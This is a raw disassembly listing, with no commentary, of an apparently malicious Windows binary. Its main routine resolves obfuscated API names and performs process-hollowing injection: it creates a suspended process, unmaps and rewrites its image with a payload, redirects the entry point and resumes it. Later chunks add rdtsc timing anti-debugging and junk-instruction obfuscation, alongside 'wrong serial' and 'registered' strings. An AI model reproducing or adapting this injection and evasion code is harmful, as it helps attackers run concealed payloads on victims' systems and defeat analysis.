; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406930	proc near		; CODE XREF: CODE:00408332p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_4069F3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_4022E4
		mov	eax, [ebp+arg_4]
		call	sub_406864
		mov	[ebp+var_8], eax
		mov	ebx, 1
		cmp	ebx, [ebp+var_8]
		ja	short loc_4069D5


loc_406973:				; CODE XREF: sub_406930+A3j
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx-1]
		test	al, al
		jnz	short loc_4069B6
		mov	eax, [ebp+arg_4]
		mov	al, [eax+ebx]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_406864
		mov	edi, eax
		xor	edx, edx
		mov	dl, [ebp+var_1]
		add	edx, edi
		mov	eax, esi
		call	sub_402774
		mov	eax, esi
		call	sub_40272C
		add	eax, edi
		xor	edx, edx
		mov	dl, [ebp+var_1]
		xor	ecx, ecx
		call	sub_4015C8
		inc	ebx
		jmp	short loc_4069CF
; ---------------------------------------------------------------------------


loc_4069B6:				; CODE XREF: sub_406930+4Cj
		lea	eax, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		mov	dl, [edx+ebx-1]
		call	sub_4024A8
		mov	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_402564


loc_4069CF:				; CODE XREF: sub_406930+84j
		inc	ebx
		cmp	ebx, [ebp+var_8]
		jbe	short loc_406973


loc_4069D5:				; CODE XREF: sub_406930+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4069FA


loc_4069E2:				; CODE XREF: sub_406930+C8j
		lea	eax, [ebp+var_C]
		call	sub_4022E4
		lea	eax, [ebp+arg_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_4069F3:				; DATA XREF: sub_406930+1Co
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_4069E2
; ---------------------------------------------------------------------------


loc_4069FA:				; CODE XREF: sub_406930+C2j
					; DATA XREF: sub_406930+ADo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_406930	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_406A29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A600
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406A30


loc_406A28:				; CODE XREF: CODE:00406A2Ej
		retn
; ---------------------------------------------------------------------------


loc_406A29:				; DATA XREF: CODE:00406A0Ao
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406A28
; ---------------------------------------------------------------------------


loc_406A30:				; CODE XREF: CODE:loc_406A28j
					; DATA XREF: CODE:00406A23o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40A600, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A3C	proc near		; CODE XREF: sub_406B18+362p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		add	eax, 18h
		mov	edx, [ebp+var_4]
		movzx	edx, word ptr [edx+14h]
		add	eax, edx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_406A3C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A60	proc near		; CODE XREF: sub_406B18+3D5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 1Dh
		mov	eax, ds:dword_40926C[eax*4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_406A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A80	proc near		; CODE XREF: sub_406B18+46p
					; sub_406B18+6Ap ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_406B0C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_40255C
		test	eax, eax
		jle	short loc_406AEE
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_406ABD:				; CODE XREF: sub_406A80+6Cj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	al, [eax+edx-1]
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_18]
		mov	dl, [ebp+var_D]
		sub	dl, 33h
		call	sub_4024A8
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_8]
		call	sub_402564
		mov	eax, [ebp+var_8]
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_406ABD


loc_406AEE:				; CODE XREF: sub_406A80+31j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406B13


loc_406AFB:				; CODE XREF: sub_406A80+91j
		lea	eax, [ebp+var_18]
		call	sub_4022E4
		lea	eax, [ebp+var_4]
		call	sub_4022E4
		retn
; ---------------------------------------------------------------------------


loc_406B0C:				; DATA XREF: sub_406A80+1Co
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406AFB
; ---------------------------------------------------------------------------


loc_406B13:				; CODE XREF: sub_406A80+8Bj
					; DATA XREF: sub_406A80+76o
		mov	esp, ebp
		pop	ebp
		retn
sub_406A80	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B18	proc near		; CODE XREF: CODE:0040836Ap

var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1B4		= dword	ptr -1B4h
var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_E4		= dword	ptr -0E4h
var_D8		= dword	ptr -0D8h
var_BC		= dword	ptr -0BCh
var_8C		= word ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 37h


loc_406B21:				; CODE XREF: sub_406B18+Ej
		push	0
		push	0
		dec	ecx
		jnz	short loc_406B21
		xchg	ecx, [ebp+var_4]
		push	ebx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_4026D0
		mov	eax, [ebp+var_C]
		call	sub_4026D0
		xor	eax, eax
		push	ebp
		push	offset loc_406FC8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_18C]
		mov	eax, offset dword_406FE4
		call	sub_406A80
		mov	eax, [ebp+var_18C]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_14], eax
		lea	edx, [ebp+var_190]
		mov	eax, offset dword_406FFC
		call	sub_406A80
		mov	eax, [ebp+var_190]
		call	sub_4026E0
		push	eax
		call	sub_4031F4	; LoadLibraryA
		mov	[ebp+var_18], eax
		lea	edx, [ebp+var_194]
		mov	eax, offset dword_407010
		call	sub_406A80
		mov	eax, [ebp+var_194]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	sub_4031CC	; GetProcAddress
		mov	[ebp+var_40], eax
		lea	edx, [ebp+var_198]
		mov	eax, offset dword_407028
		call	sub_406A80
		mov	eax, [ebp+var_198]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_3C], eax
		lea	edx, [ebp+var_19C]
		mov	eax, offset aZszziesfcvvbzs ; "zv"
		call	sub_406A80
		mov	eax, [ebp+var_19C]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_44], eax
		lea	edx, [ebp+var_1A0]
		mov	eax, offset aEsfcgevcsjjasa ; ""
		call	sub_406A80
		mov	eax, [ebp+var_1A0]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_48], eax
		lea	edx, [ebp+var_1A4]
		mov	eax, offset aKeZsgevcsjjasa ; ""
		call	sub_406A80
		mov	eax, [ebp+var_1A4]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_4C], eax
		lea	edx, [ebp+var_1A8]
		mov	eax, offset aJszziesfcvvbzs ; "v"
		call	sub_406A80
		mov	eax, [ebp+var_1A8]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_50], eax
		lea	edx, [ebp+var_1AC]
		mov	eax, offset dword_4070B0
		call	sub_406A80
		mov	eax, [ebp+var_1AC]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_54], eax
		lea	edx, [ebp+var_1B0]
		mov	eax, offset dword_4070C8
		call	sub_406A80
		mov	eax, [ebp+var_1B0]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_58], eax
		lea	edx, [ebp+var_1B4]
		mov	eax, offset aIEzifqgevzsczx ; "x"
		call	sub_406A80
		mov	eax, [ebp+var_1B4]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_5C], eax
		lea	edx, [ebp+var_1B8]
		mov	eax, offset aNkibafgiSkvsjs ; ""
		call	sub_406A80
		mov	eax, [ebp+var_1B8]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_18]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_60], eax
		lea	edx, [ebp+var_1BC]
		mov	eax, offset aZseaBfzsgevcsj ; ""
		call	sub_406A80
		mov	eax, [ebp+var_1BC]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_14]
		push	eax
		call	[ebp+var_40]
		mov	[ebp+var_64], eax
		mov	[ebp+var_D], 0
		lea	eax, [ebp+var_78]
		xor	ecx, ecx
		mov	edx, 10h
		call	sub_4015C8
		lea	eax, [ebp+var_BC]
		xor	ecx, ecx
		mov	edx, 44h
		call	sub_4015C8
		mov	[ebp+var_BC], 44h
		xor	eax, eax
		mov	al, [ebp+arg_0]
		mov	[ebp+var_8C], ax
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_C]
		call	sub_4026E0
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_4026E0
		push	eax
		call	[ebp+var_3C]
		test	eax, eax
		jz	loc_406F9D
		mov	[ebp+var_35], 1
		xor	eax, eax
		push	ebp
		push	offset loc_406F96
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_188], 10002h
		lea	eax, [ebp+var_188]
		push	eax
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_44]
		test	eax, eax
		jz	loc_406F6A
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_E4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_48]
		test	eax, eax
		jz	loc_406F6A
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_60]
		test	eax, eax
		jl	loc_406F6A
		cmp	[ebp+var_4], 0
		jz	loc_406F6A
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_30], eax
		push	4
		push	3000h
		mov	eax, [ebp+var_30]
		mov	eax, [eax+50h]
		push	eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_58]
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	loc_406F6A
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_30]
		mov	eax, [eax+54h]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	loc_406F6A
		mov	eax, [ebp+var_30]
		call	sub_406A3C
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_30]
		movzx	eax, word ptr [eax+6]
		dec	eax
		test	eax, eax
		jb	loc_406F25
		inc	eax
		mov	[ebp+var_68], eax
		mov	[ebp+var_28], 0


loc_406E9D:				; CODE XREF: sub_406B18+407j
		lea	eax, [ebp+var_24]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+10h]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+14h]
		add	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	short loc_406F19
		lea	eax, [ebp+var_2C]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+24h]
		call	sub_406A60
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+8]
		push	eax
		mov	eax, [ebp+var_28]
		lea	eax, [eax+eax*4]
		mov	edx, [ebp+var_34]
		mov	eax, [edx+eax*8+0Ch]
		add	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_5C]


loc_406F19:				; CODE XREF: sub_406B18+3C2j
		inc	[ebp+var_28]
		dec	[ebp+var_68]
		jnz	loc_406E9D


loc_406F25:				; CODE XREF: sub_406B18+374j
		lea	eax, [ebp+var_24]
		push	eax
		push	4
		lea	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_E4]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_4C]
		test	eax, eax
		jz	short loc_406F6A
		mov	eax, [ebp+var_30]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_1C]
		mov	[ebp+var_D8], eax
		lea	eax, [ebp+var_188]
		push	eax
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_50]
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_35], al


loc_406F6A:				; CODE XREF: sub_406B18+2C2j
					; sub_406B18+2E5j ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406F9D


loc_406F77:				; CODE XREF: sub_406B18+483j
		cmp	[ebp+var_35], 0
		jnz	short loc_406F88
		push	0
		mov	eax, [ebp+var_78]
		push	eax
		call	[ebp+var_64]
		jmp	short loc_406F8F
; ---------------------------------------------------------------------------


loc_406F88:				; CODE XREF: sub_406B18+463j
		mov	eax, [ebp+var_74]
		push	eax
		call	[ebp+var_54]


loc_406F8F:				; CODE XREF: sub_406B18+46Ej
		mov	al, [ebp+var_35]
		mov	[ebp+var_D], al
		retn
; ---------------------------------------------------------------------------


loc_406F96:				; DATA XREF: sub_406B18+29Do
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406F77
; ---------------------------------------------------------------------------


loc_406F9D:				; CODE XREF: sub_406B18+290j
					; DATA XREF: sub_406B18+45Ao
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_406FCF


loc_406FAA:				; CODE XREF: sub_406B18+4B5j
		lea	eax, [ebp+var_1BC]
		mov	edx, 0Dh
		call	sub_402308
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_402308
		retn
; ---------------------------------------------------------------------------


loc_406FC8:				; DATA XREF: sub_406B18+30o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_406FAA
; ---------------------------------------------------------------------------


loc_406FCF:				; CODE XREF: sub_406B18+4AFj
					; DATA XREF: sub_406B18+48Do
		mov	al, [ebp+var_D]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_406B18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_406FE4	dd 0A1A5989Eh, 65669F98h, 9F9F9761h, 0 ; DATA XREF: sub_406B18+41o
		dd 0FFFFFFFFh, 9
dword_406FFC	dd 9F97A7A1h, 9F97619Fh, 9Fh, 0FFFFFFFFh, 0Eh ;	DATA XREF: sub_406B18+65o
dword_407010	dd 83A7987Ah, 7496A2A5h, 98A59797h, 0A6A6h, 0FFFFFFFFh
					; DATA XREF: sub_406B18+89o
		dd 0Eh
dword_407028	dd 9498A576h, 0A58398A7h, 0A69896A2h, 74A6h, 0FFFFFFFFh
					; DATA XREF: sub_406B18+B1o
		dd 10h
aZszziesfcvvbzs	db 'zv',0 ; DATA XREF: sub_406B18+D7o
		align 4
		dd 0FFFFFFFFh, 11h
aEsfcgevcsjjasa	db '',0 ; DATA XREF: sub_406B18+FDo
		align 10h
		dd 0FFFFFFFFh, 12h
aKeZsgevcsjjasa	db '',0 ; DATA XREF: sub_406B18+123o
		align 4
		dd 0FFFFFFFFh, 10h
aJszziesfcvvbzs	db 'v',0 ; DATA XREF: sub_406B18+149o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_4070B0	dd 0A8A69885h, 9B8798A0h, 979498A5h, 0 ; DATA XREF: sub_406B18+16Fo
		dd 0FFFFFFFFh, 0Eh
dword_4070C8	dd 0A7A59C89h, 749F94A8h, 96A29F9Fh, 0AB78h, 0FFFFFFFFh
					; DATA XREF: sub_406B18+195o
		dd 10h
aIEzifqgevzsczx	db 'x',0 ; DATA XREF: sub_406B18+1BBo
		align 4
		dd 0FFFFFFFFh, 14h
aNkibafgiSkvsjs	db '',0 ; DATA XREF: sub_406B18+1E1o
		align 4
		dd 0FFFFFFFFh, 10h
aZseaBfzsgevcsj	db '',0 ; DATA XREF: sub_406B18+207o
		align 10h
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_407155
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A604
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40715C


loc_407154:				; CODE XREF: CODE:0040715Aj
		retn
; ---------------------------------------------------------------------------


loc_407155:				; DATA XREF: CODE:00407136o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_407154
; ---------------------------------------------------------------------------


loc_40715C:				; CODE XREF: CODE:loc_407154j
					; DATA XREF: CODE:0040714Fo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		sub	ds:dword_40A604, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407168	proc near		; CODE XREF: sub_407B70+22p
					; CODE:004081D7p ...

var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_1		= byte ptr -1
arg_5D		= byte ptr  65h
arg_6C		= dword	ptr  74h

; FUNCTION CHUNK AT 0040717A SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00407189 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004071C8 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004071CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004071EA SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00407224 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 004072C1 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004072F0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040732D SIZE 00000054 BYTES
; FUNCTION CHUNK AT 00407385 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 004073B7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004073EE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004073FB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00407400 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00407449 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0040744F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040746B SIZE 00000038 BYTES
; FUNCTION CHUNK AT 004074A5 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 00407542 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00407571 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004075AE SIZE 00000054 BYTES
; FUNCTION CHUNK AT 00407606 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00407638 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040766F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040767C SIZE 00000002 BYTES
; FUNCTION CHUNK AT 00407681 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 004076CA SIZE 00000002 BYTES
; FUNCTION CHUNK AT 004076D0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004076EC SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00407726 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 004077C3 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004077F2 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0040782F SIZE 00000054 BYTES
; FUNCTION CHUNK AT 00407887 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 004078B9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 004078F0 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		nop
		jmp	loc_40732D
sub_407168	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		adc	[edx+17h], edi
		cmp	eax, 5915DFC7h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_40717A:				; CODE XREF: sub_407168+88j
		jmp	short loc_407189
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 6E6F7277h, 65732067h, 6C616972h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407189:				; CODE XREF: sub_407168:loc_40717Aj
		setalc
		jl	loc_4072C1
		jge	loc_4072C1
		std
		call	near ptr loc_40719C+1


loc_40719C:				; CODE XREF: sub_407168+2Fp
		push	0FFFFFFE8h
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 83080000h, 12042444h, 0A240483h, 0A30FC8C3h,	0C0AF0FC0h
		dd 0FC0AF0Fh, 0E865C0A3h, 18Ch,	3D17B14Ch, 0EBC7F0D4h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4071C8:				; CODE XREF: sub_407168+1D7j
					; sub_407168+1DDj
		jmp	short loc_4071CE
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 0D439h
		db 44h,	14h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4071CE:				; CODE XREF: sub_407168:loc_4071C8j
		jl	near ptr loc_40722E+3
		jge	near ptr loc_40722E+3
		outsd
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_4071DB	proc near		; CODE XREF: sub_407168+20Ap
		jmp	short loc_4071EA
sub_4071DB	endp

; ---------------------------------------------------------------------------
		db 77h,	72h, 6Fh
		dd 7320676Eh, 61697265h
		db 6Ch,	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4071EA:				; CODE XREF: sub_4071DBj
		mov	al, al
		add	esp, 4
		clc
		jnb	loc_40717A
		add	ds:0A21748BBh, bh
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40720C:				; CODE XREF: sub_407168:loc_40720Cj
		jg	short loc_40720C
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h


loc_40721E:				; CODE XREF: sub_407168:loc_40721Ej
		jg	short loc_40721E
		jmp	short loc_407224
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dw 8020h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_407224:				; CODE XREF: sub_407168+B8j
		stc
		jb	loc_4073B7
		add	dh, bh
		push	edx


loc_40722E:				; CODE XREF: sub_407168:loc_4071CEj
					; sub_407168+6Cj
		add	eax, 52502CF8h
		rdtsc
		xor	ecx, eax
		pop	edx
		xor	ecx, eax
		pop	eax
		js	loc_40737F
		jns	loc_40737F
		db	36h
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h	; CODE XREF: sub_407168+104j


loc_407258:				; CODE XREF: sub_407168:loc_407258j
		jg	short loc_407258
		push	eax
		pop	eax
		push	ecx
		pop	ecx
		push	edx
		pop	edx
		jz	loc_4073EE
		jnz	loc_4073EE
		jnp	short near ptr loc_407252+4
		add	[eax], eax
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		dd 0E8260000h, 1, 24448338h, 4831204h, 50C30A24h, 0BE8h
		dd 67657200h, 65747369h, 646572h, 4C01EB58h, 5D8A0F36h
		dd 0FFFFFFFh, 0FFFF578Bh, 525018FFh, 0C833310Fh, 58C8335Ah
		dd 0F8C0C10Fh, 0FFB38C0Fh, 8D0FFFFFh, 0FFFFFFADh
		db 31h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4072C1:				; CODE XREF: sub_407168+22j
					; sub_407168+28j
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_4072D8
		jmp	near ptr 0E1208FCBh
; ---------------------------------------------------------------------------


loc_4072D8:				; CODE XREF: sub_407168+169j
		push	0C425h
		add	esp, 4
		push	edx
		pop	edx
		repne jmp loc_4072F0
; END OF FUNCTION CHUNK	FOR sub_407168
; ---------------------------------------------------------------------------
		or	al, dl
		pop	ss
		cmp	eax, 0A5265966h
; START	OF FUNCTION CHUNK FOR sub_407168


loc_4072F0:				; CODE XREF: sub_407168+17Aj
		rdtsc
		mov	ecx, eax
		rdtsc
		sub	ecx, eax
		not	ecx
		cmp	ecx, 5000h
		jl	short loc_407307
		jmp	near ptr 89248F3Ah
; ---------------------------------------------------------------------------


loc_407307:				; CODE XREF: sub_407168+198j
		call	sub_40730D
		out	dx, al
; END OF FUNCTION CHUNK	FOR sub_407168

; =============== S U B	R O U T	I N E =======================================



sub_40730D	proc near		; CODE XREF: sub_407168:loc_407307p
		call	near ptr loc_407312+1


loc_407312:				; CODE XREF: sub_40730Dp
		fadd	dword ptr [ebx+12042444h]
sub_40730D	endp ; sp-analysis failed

